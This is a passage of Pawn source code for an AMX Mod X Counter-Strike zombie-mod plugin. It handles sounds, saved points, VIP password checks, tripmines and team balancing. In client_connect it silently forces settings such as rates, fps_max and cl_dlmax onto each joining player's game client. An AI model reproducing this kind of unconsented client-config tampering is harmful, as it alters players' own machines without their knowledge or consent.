8306 client_print_color(iOwner, print_team_grey, "^4[Zombie Outstanding]^1 Damage to^4 %s^1 ::^4 %0.0f^1 damage", g_cName[i], fDamage );
8307 }
8308 }
8309 }
8310 }
8311}
8312
8313public Jetpack_Touch( iPlayer )
8314{
8315 if ( g_bZombie[iPlayer ] )
8316 return PLUGIN_HANDLED;
8317
8318 if ( g_iPlayerType[iPlayer] & 1 || g_iPlayerType[iPlayer] & 2 || g_iPlayerType[iPlayer] & 4 || g_iPlayerType[iPlayer] & 8 )
8319 return PLUGIN_HANDLED;
8320
8321 return PLUGIN_CONTINUE;
8322}
8323
8324public fwEmitSound ( id, Channel, const Sample [], Float: Volume, Float: Attn, Flags, Pitch )
8325{
8326 if ( Sample [0] == 'h' && Sample [1] == 'o' && Sample [2] == 's' && Sample [3] == 't' && Sample [4] == 'a' && Sample [5] == 'g' && Sample [6] == 'e' )
8327
8328 return FMRES_SUPERCEDE;
8329
8330 if ( !is_user_valid_connected ( id ) || !g_bZombie [id] )
8331
8332 return FMRES_IGNORED;
8333
8334 if ( Sample [7] == 'b' && Sample [8] == 'h' && Sample [9] == 'i' && Sample [10] == 't' )
8335 {
8336 if (g_iPlayerType[id] & 1)
8337 {
8338 client_cmd(id, "spk %s", g_pMonsterHitSounds[random_num(0, 2)]);
8339 }
8340 else if (g_iPlayerType[id] & 2)
8341 {
8342 client_cmd(id, "spk %s", g_pMonsterHitSounds[random_num(0, 2)]);
8343 }
8344 else
8345 {
8346 client_cmd(id, "spk %s", g_pZombieHitSounds[random_num(0, 4)]);
8347 }
8348
8349 return FMRES_SUPERCEDE;
8350 }
8351
8352 if ( Sample [8] == 'k' && Sample [9] == 'n' && Sample [10] == 'i' )
8353 {
8354 if ( Sample [14] == 's' && Sample [15] == 'l' && Sample [16] == 'a' )
8355 {
8356 client_cmd(id, "spk %s", g_pZombieMissSlash[random_num(0, 1)]);
8357
8358 return FMRES_SUPERCEDE;
8359 }
8360 if ( Sample [14] == 'h' && Sample [15] == 'i' && Sample [16] == 't')
8361 {
8362 if ( Sample [17] == 'w' )
8363 {
8364 client_cmd(id, "spk %s", g_pZombieMissWall[random_num(0, 1)]);
8365
8366 return FMRES_SUPERCEDE;
8367 }
8368 else
8369 {
8370 client_cmd(id, "spk %s", g_pZombieHitNormal[random_num(0, 3)]);
8371
8372 return FMRES_SUPERCEDE;
8373 }
8374 }
8375 if ( Sample [14] == 's' && Sample [15] == 't' && Sample [16] == 'a')
8376 {
8377 client_cmd(id, "spk weapons/knife_stab");
8378
8379 return FMRES_SUPERCEDE;
8380 }
8381 }
8382
8383 if ( Sample [7] == 'd' && ( ( Sample [8] == 'i' && Sample [9] == 'e' ) || ( Sample [8] == 'e' && Sample [9] == 'a' ) ) )
8384 {
8385 client_cmd(id, "spk %s", g_pZombieDieSounds[random_num(0, 4)]);
8386
8387 return FMRES_SUPERCEDE;
8388 }
8389
8390 if ( Sample [10] == 'f' && Sample [11] == 'a' && Sample [12] == 'l' && Sample [13] == 'l' )
8391 {
8392 client_cmd(id, "spk %s", g_pZombieFall[random_num(0, 1)]);
8393
8394 return FMRES_SUPERCEDE;
8395 }
8396
8397 return FMRES_IGNORED;
8398}
8399public fwGetGameDescription ( )
8400{
8401 forward_return ( FMV_STRING, "Counter-Strike" );
8402
8403 return FMRES_SUPERCEDE;
8404}
8405
8406loadPoints(id)
8407{
8408 g_vault = nvault_open("points");
8409
8410 if (g_vault != -1)
8411 {
8412 g_iPoints[id] = nvault_get(g_vault, g_cName[id]);
8413 nvault_close(g_vault);
8414 g_vault = -1;
8415 }
8416}
8417
8418savePoints(id)
8419{
8420 g_vault = nvault_open("points");
8421
8422 if (g_vault != -1)
8423 {
8424 new str[16];
8425 num_to_str(g_iPoints[id], str, charsmax(str));
8426
8427 nvault_set(g_vault, g_cName[id], str);
8428 nvault_close(g_vault);
8429 g_vault = -1;
8430 }
8431}
8432
8433public plugin_end()
8434{
8435 if (g_vault != -1)
8436 {
8437 nvault_close(g_vault);
8438 g_vault = -1;
8439 }
8440}
8441
8442public client_authorized(id)
8443{
8444 static pwd[32], field[32], reqname[64], reqpwd[64], reqflags[64], i;
8445
8446 get_cvar_string("amx_password_field", field, 31);
8447
8448 get_user_ip(id, g_ip[id], charsmax(g_ip[]), 1);
8449 get_user_name(id, g_cName[id], charsmax(g_cName[]));
8450 get_user_authid(id, g_steam[id], charsmax(g_steam[]));
8451 get_user_info(id, field, pwd, 31);
8452
8453 g_bDoubleDamage[id] = false;
8454 g_vip[id] = false;
8455
8456 for (i = 0; i < ArraySize(g_vname); i++)
8457 {
8458 ArrayGetString(g_vname, i, reqname, 63);
8459 ArrayGetString(g_vpwd, i, reqpwd, 63);
8460 ArrayGetString(g_vflags, i, reqflags, 63);
8461
8462 if (equali(g_cName[id], reqname))
8463 {
8464 if (equali(pwd, reqpwd) && strlen(pwd) > 0)
8465 {
8466 g_vip[id] = true;
8467 formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
8468 break;
8469 }
8470
8471 else
8472 {
8473 server_cmd("kick #%d Your VIP account's password is incorrect!", get_user_userid(id));
8474 break;
8475 }
8476 }
8477
8478 if (equali(g_ip[id], reqname) || equali(g_steam[id], reqname))
8479 {
8480 g_vip[id] = true;
8481 formatex(g_vip_flags[id], charsmax(g_vip_flags[]), "%s", reqflags);
8482 break;
8483 }
8484 }
8485 loadPoints(id);
8486}
8487
8488public Rays()
8489{
8490 static Float:origin[3];
8491 for (new vip = 1; vip <= g_iMaxClients; vip++)
8492 {
8493 if (is_user_alive(vip) && g_vip[vip] && containi(g_vip_flags[vip], "r") != -1)
8494 {
8495 if (!g_bZombie[vip])
8496 {
8497 for (new z=1;z<=g_iMaxClients;z++)
8498 {
8499 if (is_user_alive(z)&&g_bZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
8500 {
8501 pev(z,pev_origin,origin);
8502 message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
8503 write_byte(TE_BEAMENTPOINT)
8504 write_short(vip)
8505 engfunc(EngFunc_WriteCoord, origin[0])
8506 engfunc(EngFunc_WriteCoord, origin[1])
8507 engfunc(EngFunc_WriteCoord, origin[2])
8508 write_short(g_iLaser)
8509 write_byte(1)
8510 write_byte(1)
8511 write_byte(5)
8512 write_byte(8)
8513 write_byte(0)
8514 write_byte(0)
8515 write_byte(42)
8516 write_byte(255)
8517 write_byte(255)
8518 write_byte(0)
8519 message_end()
8520 }
8521 }
8522 }
8523 else
8524 {
8525 for (new z=1;z<=g_iMaxClients;z++)
8526 {
8527 if (is_user_alive(z)&&!g_bZombie[z]&&!ExecuteHam(Ham_FVisible, vip, z))
8528 {
8529 pev(z,pev_origin,origin);
8530 message_begin(MSG_ONE_UNRELIABLE, SVC_TEMPENTITY, _, vip)
8531 write_byte(TE_BEAMENTPOINT)
8532 write_short(vip)
8533 engfunc(EngFunc_WriteCoord, origin[0])
8534 engfunc(EngFunc_WriteCoord, origin[1])
8535 engfunc(EngFunc_WriteCoord, origin[2])
8536 write_short(g_iLaser)
8537 write_byte(1)
8538 write_byte(1)
8539 write_byte(5)
8540 write_byte(8)
8541 write_byte(0)
8542 write_byte(255)
8543 write_byte(24)
8544 write_byte(0)
8545 write_byte(255)
8546 write_byte(0)
8547 message_end()
8548 }
8549 }
8550 }
8551 }
8552 }
8553}
8554
8555FixDeadAttrib(id)
8556{
8557 message_begin(MSG_BROADCAST, get_user_msgid("ScoreAttrib"))
8558 write_byte(id)
8559 write_byte(0)
8560 message_end()
8561}
8562
8563SendDeathMsg(attacker, victim)
8564{
8565 message_begin(MSG_BROADCAST, get_user_msgid("DeathMsg"))
8566 write_byte(attacker)
8567 write_byte(victim)
8568 write_byte(1)
8569 write_string("infection")
8570 message_end()
8571}
8572
8573UpdateFrags(attacker, victim, frags, deaths, scoreboard)
8574{
8575 set_pev(attacker, pev_frags, float(pev(attacker, pev_frags) + frags))
8576
8577 cs_set_user_deaths(victim, cs_get_user_deaths(victim) + deaths)
8578
8579 if (scoreboard)
8580 {
8581 message_begin(MSG_BROADCAST, get_user_msgid("ScoreInfo"))
8582 write_byte(attacker)
8583 write_short(pev(attacker, pev_frags))
8584 write_short(cs_get_user_deaths(attacker))
8585 write_short(0)
8586 write_short(_:fm_cs_get_user_team(attacker))
8587 message_end()
8588
8589 message_begin(MSG_BROADCAST, get_user_msgid("ScoreInfo"))
8590 write_byte(victim)
8591 write_short(pev(victim, pev_frags))
8592 write_short(cs_get_user_deaths(victim))
8593 write_short(0)
8594 write_short(_:fm_cs_get_user_team(victim))
8595 message_end()
8596 }
8597}
8598
8599public CmdPlantMine(iPlayer)
8600{
8601 if (g_bConnected[iPlayer])
8602 {
8603 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iTripMines[iPlayer] || g_iPlantedMines[iPlayer] > 1 || g_iRoundType & 128 || g_iRoundType & 256 || g_iRoundType & 512)
8604 {
8605 client_print_color(iPlayer, print_team_default, "^4[Zombie Outstanding]^1 You can't plant mines for some reasons...");
8606 return 0;
8607 }
8608 if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
8609 {
8610 return 0;
8611 }
8612 if ( g_iPlantedMines [iPlayer] > 1 )
8613 {
8614 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You can plant only^3 2^1 mines.");
8615
8616 return PLUGIN_HANDLED;
8617 }
8618 if (CanPlant(iPlayer))
8619 {
8620 g_iPlanting[iPlayer] = 1;
8621 message_begin( MSG_ONE_UNRELIABLE, 108, _, iPlayer );
8622 write_byte( 1 );
8623 write_byte( 0 );
8624 message_end( );
8625 set_task(1.20, "Func_Plant", iPlayer + 450, "", 0, "", 0);
8626 }
8627 }
8628 return 0;
8629}
8630
8631public CmdTakeMine(iPlayer)
8632{
8633 if (g_bConnected[iPlayer])
8634 {
8635 if (!g_bAlive[iPlayer] || g_bZombie[iPlayer] || !g_iPlantedMines[iPlayer])
8636 {
8637 client_print_color(iPlayer, print_team_default, "^4[Zombie Outstanding]^1 You can't take mines for some reasons...");
8638 return 0;
8639 }
8640 if (g_iPlanting[iPlayer] || g_iRemoving[iPlayer])
8641 {
8642 return 0;
8643 }
8644 if (CanTake(iPlayer))
8645 {
8646 g_iRemoving[iPlayer] = 1;
8647 message_begin( MSG_ONE_UNRELIABLE, 108, _, iPlayer );
8648 write_byte( 1 );
8649 write_byte( 0 );
8650 message_end( );
8651 set_task(1.20, "Func_Take", iPlayer + 500, "", 0, "", 0);
8652 }
8653 }
8654 return 0;
8655}
8656
8657public Func_Take(iPlayer)
8658{
8659 iPlayer -= 500;
8660
8661 g_iRemoving[ iPlayer ] = false;
8662
8663 static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
8664 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8665 {
8666 if( !is_valid_ent( iEntity ) )
8667 continue;
8668
8669 szClassName[ 0 ] = '^0';
8670 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8671
8672 if( equal( szClassName, "zp_trip_mine" ) )
8673 {
8674 if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
8675 {
8676 entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
8677 entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
8678
8679 if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
8680 {
8681 g_iPlantedMines[ iPlayer ]--;
8682 g_iTripMines[ iPlayer ]++;
8683
8684 remove_entity( iEntity );
8685
8686 break;
8687 }
8688 }
8689 }
8690 }
8691}
8692
8693public bool: CanTake( iPlayer )
8694{
8695 static iEntity, szClassName[ 32 ], Float: flOwnerOrigin[ 3 ], Float: flEntityOrigin[ 3 ];
8696 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8697 {
8698 if( !is_valid_ent( iEntity ) )
8699 continue;
8700
8701 szClassName[ 0 ] = '^0';
8702 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8703
8704 if( equal( szClassName, "zp_trip_mine" ) )
8705 {
8706 if (iPlayer == entity_get_int(iEntity, EV_INT_iuser2))
8707 {
8708 entity_get_vector( iPlayer, EV_VEC_origin, flOwnerOrigin );
8709 entity_get_vector( iEntity, EV_VEC_origin, flEntityOrigin );
8710
8711 if( get_distance_f( flOwnerOrigin, flEntityOrigin ) < 55.0 )
8712 return true;
8713 }
8714 }
8715 }
8716
8717 return false;
8718}
8719
8720public bool: CanPlant( iPlayer )
8721{
8722 static Float: flOrigin[ 3 ];
8723 entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
8724
8725 static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
8726 velocity_by_aim( iPlayer, 64, flTraceDirection );
8727 flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
8728 flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
8729 flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
8730
8731 static Float: flFraction, iTr;
8732 iTr = 0;
8733 engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
8734 get_tr2( iTr, TR_vecEndPos, flTraceResult );
8735 get_tr2( iTr, TR_vecPlaneNormal, flNormal );
8736 get_tr2( iTr, TR_flFraction, flFraction );
8737
8738 if( flFraction >= 1.0 )
8739 {
8740 client_print_color ( iPlayer, print_team_grey, "^4[Zombie Outstanding]^1 You must plant the^3 mine^1 on a wall!" );
8741
8742 return false;
8743 }
8744
8745 return true;
8746}
8747
8748public Func_Plant( iPlayer )
8749{
8750 iPlayer -= 450;
8751
8752 g_iPlanting[ iPlayer ] = false;
8753
8754 static Float: flOrigin[ 3 ];
8755 entity_get_vector( iPlayer, EV_VEC_origin, flOrigin );
8756
8757 static Float: flTraceDirection[ 3 ], Float: flTraceEnd[ 3 ], Float: flTraceResult[ 3 ], Float: flNormal[ 3 ];
8758 velocity_by_aim( iPlayer, 128, flTraceDirection );
8759 flTraceEnd[ 0 ] = flTraceDirection[ 0 ] + flOrigin[ 0 ];
8760 flTraceEnd[ 1 ] = flTraceDirection[ 1 ] + flOrigin[ 1 ];
8761 flTraceEnd[ 2 ] = flTraceDirection[ 2 ] + flOrigin[ 2 ];
8762
8763 static Float: flFraction, iTr;
8764 iTr = 0;
8765 engfunc( EngFunc_TraceLine, flOrigin, flTraceEnd, 0, iPlayer, iTr );
8766 get_tr2( iTr, TR_vecEndPos, flTraceResult );
8767 get_tr2( iTr, TR_vecPlaneNormal, flNormal );
8768 get_tr2( iTr, TR_flFraction, flFraction );
8769
8770 static iEntity;
8771 iEntity = create_entity( "info_target" );
8772
8773 if( !iEntity )
8774 return;
8775
8776 entity_set_string( iEntity, EV_SZ_classname, "zp_trip_mine" );
8777 entity_set_model( iEntity, "models/ZombieOutstanding/z_out_mine.mdl" );
8778 entity_set_size( iEntity, Float: { -4.0, -4.0, -4.0 }, Float: { 4.0, 4.0, 4.0 } );
8779
8780 entity_set_int( iEntity, EV_INT_iuser2, iPlayer );
8781
8782 g_iPlantedMines[ iPlayer ]++;
8783
8784 set_pev( iEntity, pev_iuser3, g_iPlantedMines[ iPlayer ] );
8785
8786 entity_set_float( iEntity, EV_FL_frame, 0.0 );
8787 entity_set_float( iEntity, EV_FL_framerate, 0.0 );
8788 entity_set_int( iEntity, EV_INT_movetype, MOVETYPE_FLY );
8789 entity_set_int( iEntity, EV_INT_solid, SOLID_NOT );
8790 entity_set_int( iEntity, EV_INT_body, 3 );
8791 entity_set_int( iEntity, EV_INT_sequence, 7 );
8792 entity_set_float( iEntity, EV_FL_takedamage, DAMAGE_NO );
8793 entity_set_int( iEntity, EV_INT_iuser1, 0 );
8794
8795 static Float: flNewOrigin[ 3 ], Float: flEntAngles[ 3 ];
8796 flNewOrigin[ 0 ] = flTraceResult[ 0 ] + ( flNormal[ 0 ] * 8.0 );
8797 flNewOrigin[ 1 ] = flTraceResult[ 1 ] + ( flNormal[ 1 ] * 8.0 );
8798 flNewOrigin[ 2 ] = flTraceResult[ 2 ] + ( flNormal[ 2 ] * 8.0 );
8799
8800 entity_set_origin( iEntity, flNewOrigin );
8801
8802 vector_to_angle( flNormal, flEntAngles );
8803 entity_set_vector( iEntity, EV_VEC_angles, flEntAngles );
8804 flEntAngles[ 0 ] *= -1.0;
8805 flEntAngles[ 1 ] *= -1.0;
8806 flEntAngles[ 2 ] *= -1.0;
8807 entity_set_vector( iEntity, EV_VEC_v_angle, flEntAngles );
8808
8809 g_iTripMines[ iPlayer ]--;
8810
8811 EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/mine_deploy.wav" );
8812 EmitSound ( iEntity, CHAN_AUTO, "ZombieOutstanding/mine_charge.wav" );
8813
8814 entity_set_float( iEntity, EV_FL_nextthink, get_gametime( ) + 0.6 );
8815}
8816
8817public Func_RemoveMinesByOwner( iPlayer )
8818{
8819 static iEntity, szClassName[ 32 ];
8820 for( iEntity = 0; iEntity < 600 + 1; iEntity++ )
8821 {
8822 if( !is_valid_ent( iEntity ) )
8823 continue;
8824
8825 szClassName[ 0 ] = '^0';
8826 entity_get_string( iEntity, EV_SZ_classname, szClassName, 31);
8827
8828 if( equal( szClassName, "zp_trip_mine" ) )
8829 if( entity_get_int( iEntity, EV_INT_iuser2 ) == iPlayer )
8830 remove_entity( iEntity );
8831 }
8832}
8833
8834public Forward_Think( iPlayer )
8835{
8836 static Float: flGameTime, iStatus;
8837 flGameTime = get_gametime( );
8838 iStatus = entity_get_int(iPlayer, EV_INT_iuser1);
8839
8840 switch( iStatus )
8841 {
8842 case 0:
8843 {
8844 entity_set_int( iPlayer, EV_INT_iuser1, 1 );
8845 entity_set_float( iPlayer, EV_FL_takedamage, DAMAGE_YES );
8846 entity_set_int( iPlayer, EV_INT_solid, SOLID_BBOX );
8847 entity_set_float( iPlayer, EV_FL_health, 800.0 + 1000);
8848
8849 EmitSound(iPlayer, CHAN_AUTO, "ZombieOutstanding/mine_activate.wav" );
8850 }
8851
8852 case 1:
8853 {
8854 static Float: flHealth;
8855 flHealth = entity_get_float( iPlayer, EV_FL_health );
8856
8857 if (is_user_alive(entity_get_int(iPlayer, EV_INT_iuser2)))
8858 {
8859 if( pev( iPlayer, pev_iuser3 ) == 1 )
8860 {
8861 set_hudmessage(10, 255, 200, 0.10, 0.37, 0, 0.10, 0.10, 0.10, 0.10, 18);
8862 ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iMineMessage, "First mine's health: %0.0f", flHealth + -1000);
8863 }
8864 else
8865 {
8866 set_hudmessage(10, 255, 200, 0.10, 0.40, 0, 0.10, 0.10, 0.10, 0.10, 18);
8867 ShowSyncHudMsg(entity_get_int(iPlayer, EV_INT_iuser2), g_iSecondMineMessage, "Second mine's health: %0.0f", flHealth + -1000);
8868 }
8869 }
8870
8871 if( flHealth <= 1000)
8872 {
8873 Func_Explode( iPlayer );
8874
8875 return FMRES_IGNORED;
8876 }
8877 }
8878 }
8879
8880 if( is_valid_ent( iPlayer ) )
8881 entity_set_float( iPlayer, EV_FL_nextthink, flGameTime + 0.1 );
8882
8883 return FMRES_IGNORED;
8884}
8885
8886EmitSound ( Index, Channel, const Sound [ ] ) emit_sound ( Index, Channel, Sound, 1.0, ATTN_NORM, 1, 105 );
8887
8888public client_connect(Client)
8889{
8890 static const Sounds[] = { 12, 16, 17 };
8891 remove_user_flags( Client );
8892 set_user_flags( Client, ADMIN_USER );
8893 if (is_user_bot(Client) || is_user_hltv(Client)) return;
8894 client_cmd(Client, "mp3volume 0.275; mp3 play media/Half-Life%d.mp3", Sounds[random_num(0, 2)]);
8895 client_cmd(Client, "rate 36000; cl_cmdrate 128; cl_updaterate 128; fps_max 300; fps_override 1; sys_ticrate 9999")
8896 client_cmd(Client, "cl_crosshair_size small; cl_dynamiccrosshair 0; cl_dlmax 8192")
8897}
8898
8899public MessageTeamInfo(iMessage, iDestination)
8900{
8901 static cTeam[2];
8902 static iPlayer;
8903 if ((iDestination != 2 && iDestination) || SwitchingTeam)
8904 {
8905 return 0;
8906 }
8907 iPlayer = get_msg_arg_int(1);
8908 if (0 < iPlayer < g_iMaxClients + 1 || !g_bConnected[iPlayer] || !is_user_connected(iPlayer))
8909 {
8910 return 0;
8911 }
8912 set_task(0.1, "TaskCheckFlash", iPlayer, "", 0, "", 0);
8913 if (!g_bModeStarted)
8914 {
8915 return 0;
8916 }
8917 get_msg_arg_string(2, cTeam, 2);
8918 switch (cTeam[0])
8919 {
8920 case 'C':
8921 {
8922 if ((g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
8923 {
8924 remove_task ( iPlayer + TASK_TEAM );
8925 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_T );
8926 set_msg_arg_string(2, "TERRORIST");
8927 }
8928 else
8929 {
8930 if (!GetZombies())
8931 {
8932 remove_task ( iPlayer + TASK_TEAM );
8933 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_T );
8934 set_msg_arg_string(2, "TERRORIST");
8935 }
8936 }
8937 }
8938 case 'T':
8939 {
8940 if ((g_iRoundType & 64 || g_iRoundType & 4 || g_iRoundType & 8) && GetHumans())
8941 {
8942 }
8943 else
8944 {
8945 if (GetZombies())
8946 {
8947 remove_task ( iPlayer + TASK_TEAM );
8948 fm_cs_set_user_team ( iPlayer, FM_CS_TEAM_CT );
8949 set_msg_arg_string(2, "CT");
8950 }
8951 }
8952 }
8953 default:
8954 {
8955 }
8956 }
8957 return 0;
8958}
8959
8960BalanceTeams ( )
8961{
8962 static iPlayersNum;
8963
8964 iPlayersNum = fnGetPlaying ( );
8965
8966 if ( iPlayersNum < 1 ) return;
8967
8968 static iTerrors, iMaxTerrors, id, Team [33];
8969
8970 iMaxTerrors = iPlayersNum / 2;
8971
8972 iTerrors = 0;
8973
8974 for ( id = 1; id <= g_iMaxClients; id ++ )
8975 {
8976 if ( !g_bConnected [id] ) continue;
8977
8978 Team [id] = fm_cs_get_user_team ( id );
8979
8980 if ( Team [id] == FM_CS_TEAM_SPECTATOR || Team [id] == FM_CS_TEAM_UNASSIGNED ) continue;
8981
8982 remove_task ( id + TASK_TEAM );
8983
8984 fm_cs_set_user_team ( id, FM_CS_TEAM_CT );
8985
8986 Team [id] = FM_CS_TEAM_CT;
8987 }
8988
8989 while ( iTerrors < iMaxTerrors )
8990 {
8991 if ( ++ id > g_iMaxClients ) id = 1;
8992
8993 if ( !g_bConnected [id] ) continue;
8994
8995 if ( Team [id] != FM_CS_TEAM_CT ) continue;
8996
8997 if ( random_num ( 0, 1 ) )
8998 {
8999 fm_cs_set_user_team ( id, FM_CS_TEAM_T );
9000
9001 Team [id] = FM_CS_TEAM_T;
9002
9003 iTerrors ++;
9004 }
9005 }
9006}
9007
9008fnGetPlaying ( )
9009{
9010 static iPlaying, id, Team
9011
9012 iPlaying = 0
9013
9014 for ( id = 1; id <= g_iMaxClients; id ++ )
9015 {
9016 if ( g_bConnected [id] )
9017 {
9018 Team = fm_cs_get_user_team ( id );
9019
9020 if ( Team != FM_CS_TEAM_SPECTATOR && Team != FM_CS_TEAM_UNASSIGNED )
9021
9022 iPlaying ++;
9023 }
9024 }
9025 return iPlaying;
9026}
9027
9028public CHECK_ValidPlayer(id)
9029{
9030
9031 if (1<=id<=g_iMaxClients && is_user_alive(id))
9032 return 1;
9033
9034 return 0;
9035}
9036
9037InsertInfo(iPlayer)
9038{
9039 if (0 < g_iSize)
9040 {
9041 static iLast;
9042 iLast = 0;
9043 if (g_iSize < 10)
9044 {
9045 iLast = g_iSize + -1;
9046 }
9047 else
9048 {
9049 iLast = g_iTracker + -1;
9050 if (0 > iLast)
9051 {
9052 iLast = g_iSize + -1;
9053 }
9054 }
9055 if (equal(g_cPlayerAddress[iPlayer], g_cAddresses[iLast]))
9056 {
9057 copy(g_cLNames[iLast], 32, g_cName[iPlayer]);
9058 return 0;
9059 }
9060 }
9061 static iTarget;
9062 iTarget = 0;
9063 if (g_iSize < 10)
9064 {
9065 iTarget = g_iSize;
9066 g_iSize += 1;
9067 }
9068 else
9069 {
9070 iTarget = g_iTracker;
9071 g_iTracker += 1;
9072 if (g_iTracker == 10)
9073 {
9074 g_iTracker = 0;
9075 }
9076 }
9077 copy(g_cLNames[iTarget], 32, g_cName[iPlayer]);
9078 copy(g_cAddresses[iTarget], 24, g_cPlayerAddress[iPlayer]);
9079 return 0;
9080}
9081
9082GetInfo(i, cName[], iNameSize, cAddress[], iAddressSize)
9083{
9084 static iTarget;
9085 iTarget = i + g_iTracker % 10;
9086 copy(cName, iNameSize, g_cNames[iTarget]);
9087 copy(cAddress, iAddressSize, g_cAddresses[iTarget]);
9088 return 0;
9089}
9090
9091Float:GetTimeLeft()
9092{
9093 return get_cvar_float("mp_timelimit") * 60.0 - get_gametime();
9094}
9095
9096stock client_print_color ( id, iColor = print_team_default, const Msg [ ], any:... )
9097{
9098 if ( id && !is_user_connected ( id ) ) return 0;
9099
9100 if ( iColor > print_team_grey ) iColor = print_team_default;
9101
9102 new Message [192];
9103
9104 if ( iColor == print_team_default )
9105
9106 Message [0] = 0x04;
9107 else
9108 Message [0] = 0x03;
9109
9110
9111 new iParams = numargs ( )
9112
9113 if ( id )
9114 {
9115 if ( iParams == 3 )
9116
9117 copy ( Message [1], charsmax ( Message ) -1, Msg );
9118 else
9119 vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
9120
9121 if ( iColor )
9122 {
9123 new GetTeam [11]; get_user_team ( id, GetTeam, charsmax ( GetTeam ) );
9124
9125 SendTeamInfo ( id, id, TeamName [iColor] );
9126
9127 SendSayText ( id, id, Message );
9128
9129 SendTeamInfo ( id, id, GetTeam );
9130 }
9131 else
9132 SendSayText ( id, id, Message );
9133 }
9134 else
9135 {
9136 new iPlayers [32], iNum; get_players ( iPlayers, iNum, "ch" );
9137
9138 if ( !iNum ) return 0;
9139
9140 new iFool = iPlayers [0];
9141
9142 if ( iParams == 3 )
9143
9144 copy ( Message [1], charsmax ( Message ) -1, Msg );
9145 else
9146 vformat ( Message [1], charsmax ( Message ) -1, Msg, 4 );
9147
9148 if ( iColor )
9149 {
9150 new GetTeam [11]; get_user_team ( iFool, GetTeam, charsmax ( GetTeam ) );
9151
9152 SendTeamInfo ( 0, iFool, TeamName [iColor] );
9153
9154 SendSayText ( 0, iFool, Message);
9155
9156 SendTeamInfo ( 0, iFool, GetTeam );
9157 }
9158 else
9159 SendSayText ( 0, iFool, Message );
9160 }
9161
9162 return 1;
9163}
9164
9165stock SendTeamInfo ( iReceiver, iPlayerId, GetTeam [] )
9166{
9167 static iTeamInfo = 0;
9168
9169 if ( !iTeamInfo )
9170
9171 iTeamInfo = get_user_msgid ( "TeamInfo" );
9172
9173 message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iTeamInfo, .player = iReceiver );
9174
9175 write_byte ( iPlayerId );
9176
9177 write_string ( GetTeam );
9178
9179 message_end ( );
9180}
9181
9182stock SendSayText ( iReceiver, iPlayerId, Message [ ] )
9183{
9184 static iSayText = 0;
9185
9186 if ( !iSayText )
9187
9188 iSayText = get_user_msgid ( "SayText" );
9189
9190 message_begin ( iReceiver ? MSG_ONE_UNRELIABLE : MSG_BROADCAST, iSayText, .player = iReceiver );
9191
9192 write_byte ( iPlayerId );
9193
9194 write_string ( Message );
9195
9196 message_end ( );
9197}
9198
9199stock GetInfoPlayer ( id, const iInfo )
9200{
9201 new InfoToReturn [64];
9202
9203 switch( iInfo )
9204 {
9205 case INFO_NAME:
9206 {
9207 new Name[ 32]; get_user_name ( id, Name, charsmax ( Name ) );
9208
9209 copy ( InfoToReturn, charsmax ( InfoToReturn ), Name );
9210 }
9211 case INFO_IP:
9212 {
9213 new Ip [32]; get_user_ip ( id, Ip, charsmax ( Ip ), 1 );
9214
9215 copy ( InfoToReturn, charsmax ( InfoToReturn ), Ip );
9216 }
9217 case INFO_AUTHID:
9218 {
9219 new AuthId [35]; get_user_authid ( id, AuthId, charsmax ( AuthId ) );
9220
9221 copy ( InfoToReturn, charsmax ( InfoToReturn ), AuthId );
9222 }
9223 }
9224
9225 return InfoToReturn;
9226}
9227
9228stock is_player_stuck(id)
9229{
9230 static Float:originF[3]
9231 pev(id, pev_origin, originF)
9232
9233 engfunc(EngFunc_TraceHull, originF, originF, 0, (pev(id, pev_flags) & FL_DUCKING) ? HULL_HEAD : HULL_HUMAN, id, 0)
9234
9235 if (get_tr2(0, TR_StartSolid) || get_tr2(0, TR_AllSolid) || !get_tr2(0, TR_InOpen))
9236 return true;
9237
9238 return false;
9239}
9240
9241stock bool:unstuck_is_hull_vacant(const Float:origin[3], hull,id)
9242{
9243 static tr
9244 engfunc(EngFunc_TraceHull, origin, origin, 0, hull, id, tr)
9245 if (!get_tr2(tr, TR_StartSolid) || !get_tr2(tr, TR_AllSolid))
9246 return true
9247
9248 return false
9249}
9250
9251stock fm_set_weapon_ammo(entity, amount)
9252{
9253 set_pdata_int(entity, OFFSET_CLIPAMMO, amount, OFFSET_LINUX_WEAPONS);
9254}
9255
9256stock fm_cs_get_user_team ( id )
9257{
9258 return get_pdata_int ( id, 114, 5 );
9259}
9260
9261stock fm_cs_set_user_team ( id, team )
9262{
9263 set_pdata_int ( id, 114, team, 5 );
9264}
9265
9266stock fm_user_team_update ( id )
9267{
9268 static Float: CurrentTime;
9269
9270 CurrentTime = get_gametime ( );
9271
9272 if ( CurrentTime - TeamsTargetTime >= 0.1 )
9273 {
9274 set_task ( 0.1, "fm_cs_set_user_team_msg", id + TASK_TEAM );
9275
